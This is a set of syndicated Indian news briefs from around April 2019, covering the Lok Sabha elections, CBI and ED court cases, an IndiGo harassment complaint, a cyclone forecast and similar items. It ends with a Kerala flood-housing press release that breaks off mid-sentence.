Asked why the BJP has 'imported' candidates from outside the party, like Bhojpuri film actors Nirahua and Ravi Kishan, Bollywood star Sunny Deol and Pragya Thakur, he says it shows the party's "inclusive and pluralistic" character. "Let me clarify that the BJP's core cadre is quite strong and we have no dearth of candidates. But there are some people in every society who have a large fan following and have some intrinsic political acumen. "When we get these people in our party, they become an integral part of the BJP family and by this way, our party becomes more inclusive and pluralistic," he reasons. Asked about the BJP fielded only a few Muslim candidates, he says though he was not in a position to tell the exact number, but the party has given tickets to members from the community. "We are very careful about our core principal - 'Sabka Saath Sabka Vikas'. Unfortunately, the opposition parties are unsuccessfully trying to create a fear factor. But we have built a sense of confidence and I am quite sure that we will get their (Muslims) bigger support this time than what we got in the previous Lok Sabha election," he claims. Singh says North Indians living in Maharashtra always supported the BJP ever since this party came to existence. He also dubs the BJP-Shiv Sena alliance as an "unbreakable bond". "The coming together of two parties with same nationalist ideology is very rare. But this is possible only here in Maharashtra. Though we had some differences, but they have been resolved. The BJP-Shiv Sena have an unbreakable bond and we have proved it," he adds. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Gold worth about Rs 79 lakh was seized from a washroom at Delhi airport, customs officials said Friday. A man has been arrested by the customs for his alleged involvement in smuggling of the gold, they said. Acting on inputs, the customs department intercepted the accused after his arrival at the airport from Abu Dhabi on Tuesday. During enquiry, he admitted to have brought gold to India. "The passenger informed that he had hid the gold in one of the washrooms at the airport. Based on his information, 20 gold bars, collectively weighing 2.49 kg, were recovered," a customs official said. The passenger, aged 21 years, has been arrested and the gold valued at Rs 78.85 lakh was seized, the official said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Supreme Court on Friday said it would hear in October the petition filed by the CBI seeking a clarification on the nature of sanction needed from a state government to probe any offence committed within its territory. The CBI has challenged in the apex court a limited part of the March 31, 2017 verdict of the Delhi High Court passed in a disproportionate assets case against former Himachal Pradesh chief minister Virbhadra Singh and others. The probe agency has said that it has challenged only the limited issue of consent in the high court verdict. The high court had said that the issue regarding consent from the state government to probe offences committed there will be adjudicated by the trial court in the case. The matter came up for hearing on Friday before a bench comprising Chief Justice Ranjan Gogoi and justices Deepak Gupta and Sanjiv Khanna which said, "List the matter for final disposal in the month of October 2019". Senior advocates Kapil Sibal and Harin Raval along with advocate D K Thakur appeared for the former chief minister. In its plea, the CBI has said that section 6 of the Delhi Special Police Establishment (DSPE) Act, 1946 does not talk about the nature of consent and, therefore, it needs a clarification on the issue as it would affect its power to investigate offences which are committed in the states. Section 6 of DSPE Act deals with the consent of a state government for exercising of powers and jurisdiction by CBI officials. The CBI had contended before the high court that there was a general consent granted by Himachal Pradesh government on August 24, 1990 to probe offences of central government employees in the territory of the state. Virbhadra Singh, on the other hand, had contended in the high court that the consent order does not take within its scope a central minister, who served as a public servant in Delhi under the central government. He had said that he was not an official "of a central government department or any other central institution located in the territory of Himachal Pradesh". The high court had said, "The issue whether such consent had been obtained generally, or specifically, as well as the issue as to what is the effect of the investigation conducted, if any, without obtaining the prior consent of the government of Himachal Pradesh, cannot be determined in the present proceedings and would fall for consideration, if and when a charge sheet is filed before the special judge". In the same order, the high court had refused to quash the disproportionate assets case filed by the CBI against Singh and others, saying there was no basis to claim that the FIR was the result of any "political vendetta". It had vacated the Himachal Pradesh High Court's October 1, 2015 interim order restraining the CBI from arresting, interrogating or filing a charge sheet in the case without the court's permission. It had also turned down the question framed by the Himachal Pradesh High Court on whether the permission of the Speaker of state assembly was mandatory before registration of an FIR. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A Delhi court on Friday extended till May 6 the interim protection from arrest granted to former Union minister P Chidambaram and his son Karti in the Aircel-Maxis case. The ED meanwhile told the court that Karti was not cooperating in the case and evaded questions on certain emails retrieved from his computer hard disks. Special Judge O P Saini extended the interim relief to Chidambarams and deferred the matter after Enforcement Directorate (ED) sought adjournment of four weeks as the response to Letters Rogatory from Singapore is awaited. "It is submitted by senior advocate/Special Public Prosecutor for ED that Solicitor General/SPP is not available today and the matter may be adjourned. Reluctantly allowed. No further adjournment would be granted. Accordingly, put up the matter for consideration of cognisance on May 6," the judge said. The prayer for adjournment was strongly opposed by senior advocates Kapil Sibal and Abhishek Manu Singhvi, appearing for both the accused, on the ground that the prosecution is repeatedly seeking adjournments without any justifiable reason. A team of lawyers including senior advocate Sonia Mathur, advocates N K Matta, Nitesh Rana, A R Aditya and Noor Rampal appeared for ED in the case. During the hearing, ED submitted an affidavit in the court and informed it that it has sent a team headed by a special director of Directorate of Enforcement to Singapore to ensure that the relevant material evidence is obtained as quickly as possible in pursuance of Letters Rogatory (LR) issued by this court. A strong prima facie case is made out to investigate money laundered in foreign countries by both the accused, it said, adding that this court has issued LRs to the UK for P Chidambaram and for Karti to Singapore. The agency also told the court that Karti was examined on March 5,6,7 and 12 and was shown emails which were retrieved from the hard disks seized by ED during the course of searches at his premises and his associates S Bhaskaran and Ravi Visvanathan along with statements of his various associates. "The applicant Karti Chidambaram chose not to reply the questions based on emails shown to him, raised questions and submitted stereotype responses. Thus, he is not cooperating in the investigation...The accused has deliberately and wilfully refused to answer even those questions which can only be within his knowledge and which are germane to the investigation," ED said Substantial evidence is available for custodial interrogation of Chidambarams at this stage, it said. ED added however that for a proper and more effective custodial interrogation and utilisation of statutory period of remand, it is desirable that questioning takes place after receipt of material evidence in pursuance of Letters Rogatory or letters of request to a foreign court for some judicial assistance. "The insistence of the applicants accused to conclude the hearing of anticipatory bail prima facie reveals their intention of depriving of this court the benefit of the material which may come in pursuance to the Letters Rogatory," the affidavit said. The ED also told the court that Karti during the course of interrogation under PMLA on March 6 was asked to provide details of certain specific transactions. "He stated that at least three months time is required to provide the desired information. The information is not submitted by him so far. It is submitted that considering the nature and facts of the case, every evidence is relevant for both the accused," the affidavit said. On March 25, P Chidambaram had accused the CBI of harassing him by repeatedly seeking dates to advance arguments on his anticipatory bail plea in the Aircel-Maxis case. The case relates to alleged irregularities in grant of Foreign Investment Promotion Board (FIPB) approval in the Aircel-Maxis deal. The duo approached the court seeking anticipatory bail, claiming that they were afraid of arrest in both the cases being probed by the ED and the CBI. Their protection from arrest has been extended from time to time. Chidambaram and Karti were named in the charge sheet filed by the CBI in the case on July 19 last year. CBI is probing how Chidambaram, when finance minister in 2006, granted FIPB approval to a foreign firm, when only the Cabinet Committee on Economic Affairs (CCEA) was empowered to do it. CBI and ED, in their replies to the anticipatory bail pleas, had told the court that custodial interrogation of both the accused was required since various new materials have surfaced after filing of the charge sheet, alleging that they were not cooperating in the probe. They have come under the scanner of investigating agencies in the Rs 3,500-crore Aircel-Maxis deal and the INX Media case involving Rs 305 crore. In the charge sheet filed earlier in the case against former telecom minister Dayanidhi Maran, his brother Kalanithi Maran and others, the CBI alleged that Chidambaram granted FIPB approval in March 2006 to Mauritius-based Global Communication Services Holdings Ltd, a subsidiary of Maxis. The Maran brothers and the other accused named in the CBI charge sheet were discharged by the special court, which said the agency had failed to produce any material against them to proceed with the trial. The ED is also probing a separate money laundering case in the Aircel-Maxis matter, in which the Chidambarams have been questioned by the agency and their anticipatory bail is pending. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Delhi Police is probing allegations of sexual harassment on-board a plane, made by a female cabin crew of budget carrier IndiGo against a senior pilot and is in the process of collecting evidence, including voice recording from the cockpit. IndiGo, which is the country's largest airline in terms of market share, said it is looking into an incident that happened on-board during one of its flight on April 16. The police has registered a case after the complaint from a female cabin crew, wherein she said the incident happened on-board Bengaluru-Amritsar-Srinagar-Delhi flight on April 16. "We are collecting evidence and have asked for voice recording from cockpit (of that plane) along with CCTV footage, if any, is available," Sanjeev Bhatia, Deputy Commissioner of Police (Airport) said. Police also said that the accused pilot had applied for an anticipatory bail at a city court on April 24 but the plea was rejected by the court the next day. The captain is yet to join the probe, the police said. Citing the complaint, police said she had gone to serve hot water to the captain and was sitting as an observer in the cockpit. After she declined to entertain his request for a selfie with him, he tried to molest her. At that time, the co-pilot was in the washroom. After landing at Amritsar, the captain asked her for contact number and continued to stalk until she reached the final destination of the flight, as per the complaint. "The company is looking into an incident on-board Bengaluru-Amritsar-Srinagar-Delhi flight on April 16 and will be investigating the matter as per its applicable policy. "Following the completion of investigation, the company will take necessary action," an IndiGo spokesperson said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The depression over the Indian Ocean and adjoining Bay of Bengal is likely to intensify into a deep depression in the next 12 hours and subsequently into a cyclonic storm later, the Indian Meteorological Department said Friday. It is very likely to move northwestwards off the Sri Lanka coast in the next 96 hours and reach near north Tamil Nadu and south Andhra Pradesh coast on the evening of April 30, the IMD said. The state government also announced Friday that it was prepared to face the situation in the aftermath of a cyclone. The IMD said the depression over East Equatorial Indian Ocean and adjoining southeast Bay of Bengal moved further northwestwards and lay centred about 1,410 km southeast of Chennai "It is very likely to intensify further into a deep depression during next 12 hours and into a cyclonic storm during the subsequent 12 hours. It is very likely to move northwestwards off Sri Lanka coast during the next 96 hours and reach near north Tamil nadu and south Andhra Pradesh coast on the evening of April 30," it said. The IMD forecast squally wind with high speeds over 100 kph between April 27 and 30 in this region, covering coastal Tamil Nadu and Puducherry, besides south Andhra Pradesh coast. It adviced fishermen against venturing into deep sea off East Equatorial Indian Ocean and adjoining central parts of south Bay of Bengal between Friday and Tuesday. Those fishermen who are already in the deep seas should return to the coast by April 28, it added. Meanwhile, R Satyagopal, Commissioner of Revenue Administration, said rescue teams, which also comprises personnel from the NDRF and SDRF, would be deployed in vulnerable areas. A decision on deployment location of the rescue teams would be taken after studying the alerts by the Meterological department, he told reporters here. The District Collectors have been asked to keep relief centres in coastal areas ready. Also, the inter departmental zonal teams have been advised to be ready for deployment, he added. As many as 4,339 already identified vulernable areas have been mapped, providing data like relief centres and evaucation routes for use by inter-departmental teams to take appropriate steps, Satyagopal said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Iran's Foreign Minister Mohammad Javad Zarif said projects under China's Belt and Road Initiative can help bring economic development to areas in its region and also deal a major blow to extremist terror in Pakistan and Afghanistan. The minister said that much of the terrorism in this particular region, including from Chabahar in Iran to the Pakistani port of Gwadar, which also connects to Afghanistan, is due to lack of economic development. "So if we can develop, through the Belt and Road Initiative, those areas, we have dealt a major blow to extremist terror in Pakistan, foreign-sponsored (terrorism) in parts of Iran, and in Afghanistan," he said during a talk at Asia Society here Wednesday. Terming the BRI initiative as a strategic initiative for China, he said that President Xi (Jinping) has put it on top of his priorities, and "we consider that to be positive. (They are) investing a great deal in the region, they have a number of projects in Iran including industrial and transit projects. We connect the Sea of Oman through the Chabahar Port, which has up till now been exempted from US sanctions, to Europe - both St Petersburg as well as the Black Sea. This is a strategic transit corridor, he said. Zarif further explained that there are other transit corridors connecting the East and West. We have just agreed with the Iraqis to connect our railroad to the Iraqi railroad which means connecting our railroad to the entire regional railroad," he said. "These are important development projects which will not only bring economic development but fight terrorism," Zarif said. India has been severely critical of the BRI as one of its corridors, the USD 50 billion China Pakistan Economic Corridor, passes through Pakistan-occupied Kashmir (PoK). New Delhi says it cannot accept a project that ignores its core concern on sovereignty and territorial integrity. India is boycotting the second Belt and Road Forum currently underway in Beijing. It had boycotted the first Belt and Road Forum in 2017. China had unveiled the BRI in 2013 with an aim to link Southeast Asia, Central Asia, the Gulf region, Africa and Europe with a network of land and sea routes. President Xi has already announced that China would invest around USD 126 billion for the project On the issue of multilateralism, Zarif said, everybody is fed up with unilateralism... The rest of the world is not very happy with unilateralist policies of the United States. We are part of the regional scenario. We are part of the global scenario. He said that in Iran's region, they have suggested a regional dialogue forum, adding that if Iran's neighbours are ready for a non-aggression pact with it, we are ready for a non-aggression pact with them, including Saudi Arabia, UAE. He stressed that Iran is satisfied with its size, geography and natural resources. "We don't have any reason to have any territorial ambition with anybody else. We have very good relations with Turkey. We have extremely good relations with Pakistan, he said, adding that Iran enjoys good relations with Azerbaijan, Russia, Iraq. "Our relations with Afghanistan are excellent," he said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Prime Minister on Friday exhorted voters not to fall into the trap of those who say that he has already won the election, so it is fine not to vote. He asked people to come out in large numbers to participate in the process. "Some people are creating an atmosphere that Modi ji has already won (the election) and it is fine not to vote. Please don't fall into their trap. Voting is your right and everyone must exercise it," Modi told reporters after filing his nomination from Varanasi. The prime minister on Friday filed his nomination papers from the Varanasi Lok Sabha seat, accompanied by top BJP and NDA leaders. ALSO READ: Lok Sabha elections LIVE updates Besides BJP chief Amit Shah, Home Minister Rajnath Singh and External Affairs Minister Sushma Swaraj, top NDA leaders such as Bihar Chief Minister Nitish Kumar, SAD leader Prakash Singh Badal and Shiv Sena chief Uddhav Thackeray were with Modi at the Collectorate as he filed his papers. The prime minister offered prayers at a temple before he went to the Collectorate. He had won the Varanasi seat in 2014 by defeating his nearest rival, Aam Aadmi Party chief Arvind Kejriwal, by a massive margin of over three lakh votes. The EC Friday barred BJP Nadia district president Mahadev Sarkar from holding any public meeting, rallY or speak to the media till April 28 for violating the model code of conduct by making sexually coloured remarks against TMC Lok Sabha candidate from Krishnagar, Mahua Moitra. The EC severely reprimanded the BJP leader for his misconduct and violating the model code of conduct. It also strongly condemned the statements by Sarkar during a rally held in Krishnanagar on April 22. "The Commission is of the view that Mahadev Sarkar has clearly violated the aforesaid provision of the MCC and ECI's direction. It under Article 324 of the Constitution of India and all other powers enabling in this behalf, also bars Mahadev Sarkar from holding any public meetings, public processions, public rallies, road shows and interviews, public utterances in media (electronic, print, social media) in connection with the ongoing elections for 48 hours, from today 4 PM till April 28 4 PM," the order stated. The EC official referred to the paragraph 1 (2) of the MCC stating, "Criticism of other political parties, when made shall be confined to their policies and programme, past record and work. Parties and candidates shall refrain from criticism of all aspects of private life, not connected with the public activities of the leaders or workers of other parties. Criticism of other parties or their workers based on unverified allegations or distortion shall be avoided." Incidentally, the Commission had served a showcause letter to Sarkar on April 23 in connection with his comments against Moitra, who had filed a complaint with it on the same day. The Commission was dissatisfied with Sarkar's replies and found that the BJP leader had not denied making the alleged comments that had been ascribed to him in the complaint. "He has, however, maintained that the alleged matter does not come under the MCC," it had said. "I am very happy that the EC has after all done something. But the saddest part is that it came only after I moved to the Supreme Court seeing the Commission had done nothing after getting my complaint. I am glad and hope that the observers will be more vigilant and complainants in similar cases need not move the court for action,' Moitra told PTI. She had moved the Supreme Court on April 24 and it had on directed the Election Commission the next day day (Thursday) to act immediately on Moitra's plea. Calls to Sarkar for his response went unanswered. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Andhra Pradesh Chief Minister N Chandrababu Naidu Friday accused the Election Commission of usurping the powers of his government and preventing it from discharging its duties. In a letter to Chief Election Commissioner Sunil Arora, he said the chief electoral officer (CEO) of Andhra Pradesh had reportedly told the media that the chief minister does not have the power to conduct review meetings as the model code of conduct is in force. The CEO has also directed the ADG (Intelligence) not to report to the chief minister, Naidu alleged. "There's no such provision in the model code of conduct... I am duty bound and empowered to conduct review meetings. The CEO is spreading misinformation and exceeding his jurisdiction," Naidu alleged in the letter. "He has also instructed the ADG (Intelligence), who works directly under the control of the chief minister, not to report to the CM," the letter read. Accusing the EC of discriminating against him, Naidu asked if the poll panel has also directed the Intelligence Bureau Director and the National Security Advisor not to meet and brief the prime minister. "Why discriminating orders are being issued in case of Andhra Pradesh? The EC has no authority to bar an elected government from discharging its duties," he said and accused the EC of "usurping" its power. Naidu alleged the EC was facilitating the functioning of the BJP-led central government and states ruled by the party and its allies. The Union government held a cabinet meeting on April 15 despite the model code of conduct being in force and "even today, regular security briefings and meetings take place at the central level. The CM of Telangana is also conducting review meetings regularly", he claimed. He said since there is a large gap of 42 days before the results are announced on May 23, the normal administration cannot be allowed to come to a standstill. "Since the electorate has already exercised their franchise, the EC has no jurisdiction to stop any review meeting or briefing," he said. On April 13, a TDP delegation led by Naidu met CEC Arora, complaining of large scale EVM malfunction in the state on the polling day and urging the poll panel to revert to the ballot system. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Election Commission officials will meet in the national capital on April 30 to discuss the possible dates of the Jammu and Kashmir Assembly polls, official sources said Friday. On Friday, top officials from the Jammu and Kashmir government, including Chief Secretary B V R Subrahmaniam, Home Secretary Shaleen Kabra and DGP Dilbagh Singh, met the Election Commission officials here to discuss the poll preparedness in the in the state, officials said. However, the Jammu and governor administration is not in favour of holding polls to the state legislative assembly in the near future in view of the ongoing tourist season and the forthcoming Amarnath Yatra in the Valley, which will begin on July 1, they said. The sources said the "full commission" comprising the chief election commissioner and two fellow commissioners will meet on April 30 to discuss the possible dates of the Jammu and Kashmir Assembly polls. The officials said the EC, during the meeting, rejected the assertion of the officials from Jammu and Kashmir that the situation in the state needs to be assessed before conducting the Assembly polls. They said said the Commission was of the view that if the Lok Sabha polls could be held, there should be no issue in holding the elections to the state assembly. The meeting took place days after the three special observers appointed by the EC submitted their report on the possibility of holding Assembly polls in the state after the Lok Sabha polls. The state chief electoral officer had met the deputy election commissioner concerned on Thursday, ahead of Friday's meet. On Friday, the election authorities in Jammu and Kashmir had written to district election officers to submit list of district level nodal officers within two days for assembly polls in the state. However, the order was withdrawn within hours of it being issued. Jammu and Kashmir has not an elected government since the PDP-BJP coalition government fell apart in June 2018. The state was placed under Governor's Rule, as provided by the Constitution of Jammu and Kashmir, on June 19, 2018, after the BJP withdrew from its coalition with the PDP. As mandated by the Constitution, the state was brought under President's Rule on 19 December 2018, which will have to be extended for a period of six months on May 19, 2019, or till an elected government is put in place, whichever is earlier. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Bombay High Court Friday said political parties and their bosses should show "maturity" and ensure that there are no obstacles in the probe into the killings of rationalists Narendra Dabhoklar and Govind Pansare. "Voice of dissent" must not be muffled, a division bench headed by Justice S C Dharmadhikari said while hearing petitions filed by family members of Dabholkar and Pansare demanding an HC-monitored probe. Dabholkar, a well-known anti-superstition activist, was shot dead on August 20, 2013 in Pune. Pansare, CPI leader and rationalist, was shot on February 16, 2015 near his house in Kolhapur in western Maharashtra. He died four days later. The Central Bureau of Investigation (CBI) and the Criminal Investigation Department (CID) of state police are probing the killings of Dabholkar and Pansare, respectively. The high court Friday said that the state government should provide all "ground-level assistance" for the probe. "No one should attempt to silence any voice of dissent. That should be our endeavour. We expect all political parties and their bosses to show maturity and not create obstacles in the investigation," Justice Dharmadhikari said. "All political parties, those who are in power now and in future, should ensure that no outfit or person involved in such attacks is spared," the judge added. The court directed the additional chief secretary of the state Home Department and the principal secretaries of the state Finance and Public Works departments to hold meetings with CBI and CID officials. "The state shall provide ground-level assistance if the CBI proposes to carry out any major operation," it said. The judges also wondered why the government and the CBI were waiting for its orders to carry out the probe. "When a similar attack was carried out in Karnataka on writer Gauri Lankesh (in 2017), the police there immediately probed and arrested the accused without waiting for court orders or for any petitions to be filed," the court said. "We do not want the Maharashtra government to expect court orders to investigate murders," Justice Dharmadhikari said. Bureaucrats at the helm of affairs have to show people how they deal with such attacks, the court said, adjourning the hearing to June 14. Last year, the CBI had claimed to have arrested two men who allegedly shot Dabholkar. The CID arrested a total of seven people in the Pansare murder case. According to the CBI, some of the accused in the Dabholkar, Pansare and Lankesh murders were linked to each other. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The entry of former Chief Minister Sheila Dikshit in the poll battle has made it one of the most interesting fights in the Lok Sabha elections as Delhi unit presidents of two national parties will be pitted against each other, BJP candidate Manoj Tiwari said on Friday. While Tiwari is the current MP of the North East Delhi constituency, octogenarian Dikshit, who heads the Delhi Congress has been fielded by her party from the same seat, after failing to form an alliance with the AAP in Delhi for the Lok Sabha polls. "I respect Sheila ji and welcome her. She has made the North East Delhi poll contest one of the most interesting in the country," Tiwari, who is also BJP's Delhi unit chief, said. Tiwari said that the parliamentary polls in Delhi was a direct contest between the BJP and Congress while the AAP was trailing at third place. The BJP currently holds all the seven Lok Sabha seats in Delhi. An interesting thing about the North East Delhi constituency is that two presidents' of national parties are in the fray, he said. The Aam Aadmi Party(AAP) has fielded its senior leader and former convener of party's Delhi unit, Dilip Pandey. The contest also assumes significance because of a sizeable population of Muslim and Purvanchali voters in the constituency as well as Purvanchali background of both Tiwari and Pandey. Pandey a former software engineer shifted base from Hong Kong years ago to join the AAP. He hails from Ghazipur in Eastern UP. "I am the only candidate who has covered almost each part of the constituency and met voters door to door. As far as Tiwari is concerned, he has exploited sentiments of Purvanchali people but done nothing for them," Pandey told PTI. The BJP has planned a road show in support of Tiwari in his constituency in which party chief Amit Shah is expected to participate in coming days, said a Delhi BJP leader. In 2014, Tiwari polled nearly six lakh votes defeating his nearest rival Professor Anand Kumar of AAP by a margin of around 1.5 lakh votes. Congress candidate JP Agarwal got 2.14 lakh votes. Agarwal has been fielded by the Congress this time from Chandni Chowk seat against incumbent MP and Union minister Harsh Vardhan. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Retired Chief Justice of Sikkim High Court Satish Kumar Agnihotri will head the judicial panel constituted to probe the killing of a BJP MLA by Naxals early this month, officials said on Friday. Agnihotri has given his consent to the Chhattisgarh government for heading the judicial panel to investigate the killing of MLA Bhima Mandavi and four security personnel in the Naxal attack in Dantewada, a Public Relation Officer of the state government said here. Mandavi, who represented Dantewada assembly constituency, was killed along with four security personnel on April 9 after Maoists blew up their vehicle with an Improvised Explosive Device (IED) in Shyamgiri area of Dantewada. The next day, the Congress government in the state sought permission from the Election Commission for setting up a judicial inquiry panel into the incident, in view of the model code of conduct in effect for the Lok Sabha election, the official said. After getting approval from the EC, the state government took further action into the matter, he added. The BJP had dubbed as a "political conspiracy" the attack, which had occurred just two days ahead of the voting in Bastar Lok Sabha constituency in the first phase on April 11. The party had also sought a CBI probe into it. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Senior Congress leader Marri Shashidhar Reddy Friday sought removal of the Telangana Congress chief N Uttam Kumar Reddy, terming his leadership as a "failure". The demand of the four-time MLA and ex-Minister comes at a time when the Telangana unit of the Congress is facing a crisis of sorts after putting up a dismal performance in the Assembly elections last December. Congress won only 19 seats in the 119-member Assembly, and since early March as many 11 of those MLAs have announced their decision to cross over to the ruling Telangana Rashtra Samithi, headed by Chief Minister K Chandrasekhar Rao. There already talk in political circles that if two more Congress MLAs switch sides, they may decide to merge the Congress Legislature Party (CLP) with that of TRS which also means the Congress would lose its tag of main opposition. Speaking to PTI, Shashidhar Reddy, also a former Vice-Chairman of National Disaster Management Authority, called for total overhaul of the party setup in Telangana, which is "long overdue and absolutely necessary". "We have not focused on the organisation at the grassroots level; building the organisation at all levels is something which has been lacking," the son of former Andhra Pradesh Chief Minister Marri Channa Reddy said. Shashidhar Reddy alleged the Congress in Telangana, had missed a lot of opportunities to take on the TRS government, particularly to highlight its "glaring failures and corruption." As a result, the party has not been able to gain the confidence of the people, according to him. "It's a clear case of failure of the (party) leadership in the state," Shashidhar Reddy said hitting out at the Telangana Pradesh Congress Committee President and demanding his removal. "We have not been able to give that kind of confidence to the people," he said and alleged the party's agitations against the TRS government have been "only on paper". "There are many sections of society who feel threatened or let down; if we don't stand by them and gain their confidence, they will not trust you," he said. Uttam Kumar Reddy should have been made to step down "long back" as he has failed to lead the party with single-minded objective of winning elections and carry everybody together, he said. "We have failed to win the confidence of the people. It's a sum total of all the failures. We have not been able to take on the government, on all their shortcomings, failed promises," Shashidhar Reddy added. Asked if he was ready to assume charge as TPCC President if the party's central leadership gives him the responsibility, he said: "Yes, absolutely". (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A Bangladeshi activist, who rescued dozens of people during the infamous 2013 Rana Plaza disaster that killed over 1,100 people, has committed suicide by setting himself ablaze after pouring kerosene, police said Friday. Nowshad Hasan Himu, 27, set himself ablaze on Wednesday night, apparently after suffering years of trauma-related depression, and was found on fire by neighbours outside his rented house at Birulia in Ashulia area near Dhaka. "We have sent his body to Suhrawardy Medical College Hospital morgue," Dhaka Tribune quoted Savar police station Sub-Inspector Asgar Ali as saying. Ali said Himu set himself on fire after pouring kerosene on himself on the sixth anniversary of the Rana Plaza tragedy. Himu, a familiar face to those who worked during the Rana Plaza disaster on April 24 which killed 1,134 people in one of the world's worst industrial tragedies, had rescued scores of people and recovered a number of bodies throughout the 17-day rescue operation. From 2016, he began showing signs of detachment from his family. He started living on his own, befriending animals instead, said a condolence message released yesterday by Bangladesh Garments Sramik Samhati, with which Himu worked closely during the disaster. "He called me several times on Wednesday, which was not normal; he also sounded different. Even a few minutes before setting himself on fire, we spoke on the phone. Later, I received the and rushed to the hospital," said Himu's mother Afroza Begum. "Nashwad used to speak more often about how people were stuck inside the debris of the building and how many of them died there. He used to worry a lot about certain things," she said. "Maybe he was worried about something which affected his mental condition, leading him to commit suicide," she added. According to neighbours, Himu had pet dogs, took care of street dogs, but seemed mentally unstable most of the time. He did not really socialise, and spent most of his time with his dog, they said. Police suspect Himu was suffering from depression. Rajib Ashraf, Himu's roommate, said he was alone and used to talk about his trauma from Rana Plaza tragedy. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Facebook on Thursday filed a lawsuit in US federal court to bar a New Zealand company from selling fake "likes," views and followers to Instagram users. The company and three people targeted in the lawsuit operated a service to raise the profile of Instagram accounts by bolstering them with bogus followers, views and "likes," Facebook director of platform enforcement and litigation Jessica Romero said in a blog post. "By filing the lawsuit, we are sending a message that this kind of fraudulent activity is not tolerated on our services, and we will act to protect the integrity of our platform," Romero said. Romero did not identify the company or the individuals names in the legal complaint, which accused them of using fake businesses and websites to sell "engagement services" to Instagram users looking to buy status. Such activity violates terms of service at Facebook-owned Instagram. "We previously suspended accounts associated with the defendants and formally warned them in writing that they were in violation of our Terms of Use, however their activity persisted," Romero said. She described the lawsuit as part of an ongoing effort to prevent fraudulent activity at its family of services, which includes photo and video sharing social network Instagram. Facebook and other online social platforms have been under pressure to prevent deception and misinformation. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) UN Secretary General has underscored the need for free press disseminating reliable information to maintain peace and justice, especially during elections as "facts, not falsehoods" should guide the people while choosing their representatives. Noting that civic space has been shrinking worldwide at an alarming rate, Guterres said that he is "deeply troubled" by the growing number of attacks against journalists and the culture of impunity. A free press is essential for peace, justice, sustainable development and human rights. No democracy is complete without access to transparent and reliable information. It is the cornerstone for building fair and impartial institutions, holding leaders accountable and speaking truth to power, Guterres said in his message for the World Press Freedom Day, observed on May 3. The main celebration of World Press Freedom Day this year will take place in Addis Ababa, from May 1-3. The overall theme of the event will be the role of media in elections and democracy. Some 100 national events around the world are expected to complement the main celebration. The day was proclaimed by the in 1993 following a Recommendation adopted at the twenty-sixth session of UNESCO's General Conference in 1991. Facts, not falsehoods, should guide people as they choose their representatives. Yet, while technology has transformed the ways in which we receive and share information, sometimes it is used to mislead public opinion or to fuel violence and hatred, he said, apparently referring to the alarming increase in spread of false and vitriolic information through social media platforms such as Facebook, and Whatsapp. And with anti-media rhetoric on the rise, so too are violence and harassment against journalists, including women, he said, According to the Educational Scientific and Cultural Organization (UNESCO), almost 100 journalists were killed in 2018. Hundreds are imprisoned. When media workers are targeted, societies as a whole pay a price, he said, calling on all to defend the rights of journalists, whose efforts help us to build a better world for all. The UN chief's statement comes at a time when is in the middle of general elections. Concerns have been raised over the use of social media platforms such as Whatsapp and to spread false information and spark hatred and incidents of violence. Ahead of the Lok Sabha polls, social media platforms and the Internet And Mobile Association of (IAMAI) had presented a Voluntary Code of Ethics for the General Election 2019' to The had said in a statement that the Code of Ethics' has been developed to ensure free, fair and ethical usage of social media platforms to maintain the integrity of the electoral process for the polls. / -- This is a part of the 250 Aster Homes project which was initiated last year. Out of this, 75 homes are being built in partnership with Rotary International, to be rebranded as Aster Rotary Homes. The first set of cluster houses, built as a part of Aster Volunteer's efforts to re-build Kerala were handed over to the beneficiaries. These were built in association with Rotary Cochin Harbour under the Aster-Rotary Homes project. The keys were handed over by actor Aparna Balamurali at a function held on Wednesday. Eight houses were built at Velankanni Matha colony, North Kuthiyathodu at Kunnukara Panchayat in Kalamassery assembly constituency. (Logo: https://mma.prnewswire.com/media/877863/Aster_Volunteers_Logo.jpg ) (Photo: https://mma.prnewswire.com/media/877859/Flood_Victims_with_Aster_Home_Keys.jpg ) Kalamassery MLA V. K. Ibrahim Kunju inaugurated the function, which was presided over by Francis Tharayiil, President, Kunnukara Grama Panchayat. T. J. Wilson, Executive Director & Group Head Governance & Corporate Affairs, Aster DM Healthcare; A. V. Pathy, Rotary District Governor; Architect Shankar and C. V. Ignatius, President, Cochin Harbour Rotary were also present on the occasion. The cluster houses were jointly built by Aster Volunteers and Rotary Cochin Harbour for people who lost their houses in the last year's flood. This is a part of the 75 houses which are being built by Aster DM foundation in association with Rotary International. "The handing over of Aster Rotary Homes is a significant moment for Aster Volunteers as we are able to partially fulfil the promise we made to the people affected by the devastating floods last year. The handover of the first set of houses at Kuthiyathodu marks the beginning of the fulfilment of the dreams of many victims who have been trying to get their lives together after the floods took everything from them. In this journey, it has been our privilege to partner with Rotary International," said Dr. Azad Moopen, Managing Trustee, Aster DM Foundation and Founder Chairman and Managing Director, Aster DM Healthcare. Inaugurating the function, V. K. Ibrahim Kunju MLA said that the private sector has been providing great support for the initiatives taken by the government to enable flood-hit people to stand on their own feet. The foundation stone for Aster- Rotary Homes was laid down by actor Jayasurya on February 25, 2018. Aster Homes project was announced in September 2018, with an aim to build 250 homes for people affected by the floods. Out of these, Rotary International has joined hands with Aster Volunteers to build 75 homes to be rebranded as Aster Rotary Homes. About Aster Volunteers, the global CSR programme of Aster DM Healthcare Aster Volunteers programme, the global corporate social responsibility initiative of Aster DM Healthcare, was launched on occasion of the company's 30th anniversary in 2017 and provides a platform which bridges the gap between people who would like to help with those in need. Driven by Aster DM Foundation, through various initiatives, the programme has been able to impact 1 million+ lives across geographies. Operating primarily across 9 countries including 